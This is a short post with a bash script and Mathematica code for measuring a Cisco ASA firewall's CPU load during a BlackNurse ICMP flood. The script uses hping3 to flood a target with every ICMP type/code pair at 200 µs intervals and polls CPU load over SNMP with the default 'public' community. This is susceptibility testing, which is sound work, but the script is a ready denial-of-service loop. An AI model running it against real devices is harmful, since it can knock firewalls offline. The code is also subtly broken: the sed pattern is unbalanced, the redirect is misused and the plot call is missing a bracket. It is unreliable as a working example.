

quick & dirty bash script to collect ASA CPU consumption at different values of ICMP TYPE and CODE

```
#!/bin/sh
target="192.168.0.1"
community="public"

delay=200 # delay in microseconds
run=10 # runtime in seconds per (type,code) pair
count=$(( run * 1000000 / delay )) # number of frames to send

for type in $(seq 0 15)
do
  for code in $(seq 0 15)
  do
    hping3 --icmp -i $delay -c $count --force-icmp -C $type -K $code $target 2>1 >/dev/null
    cpu=$(snmpget -v2c -c $community $target 1.3.6.1.4.1.9.9.109.1.1.1.1.3.1 | sed -e 's/.*32: \(.\*/\1/')
    echo "$type $code $cpu"
  done
done
```

Mathematica code to input the script-data and plot the results:

```
data = Import["c:\\blacknurse.out", "Table"];

ListDensityPlot[data,
  PlotLabel ->
    "CPU consumption on a 5540 ASA during Black Nurse (delay between ICMP's = 200µs)",
  Mesh -> All, InterpolationOrder -> 0, PlotRange -> {{-.5, 15.5}, {-.5, 15.5}},
  ColorFunction -> ColorData["Rainbow"], FrameLabel -> {"TYPE", "CODE"},
  FrameTicks -> {{Range[0, 15], None}, {Range[0, 15], None}},
  Epilog -> {White, Table[Text[data[[i*16+j+1]][[3]], {i, j}], {i, 0, 15}, {j, 0, 15}]}
```

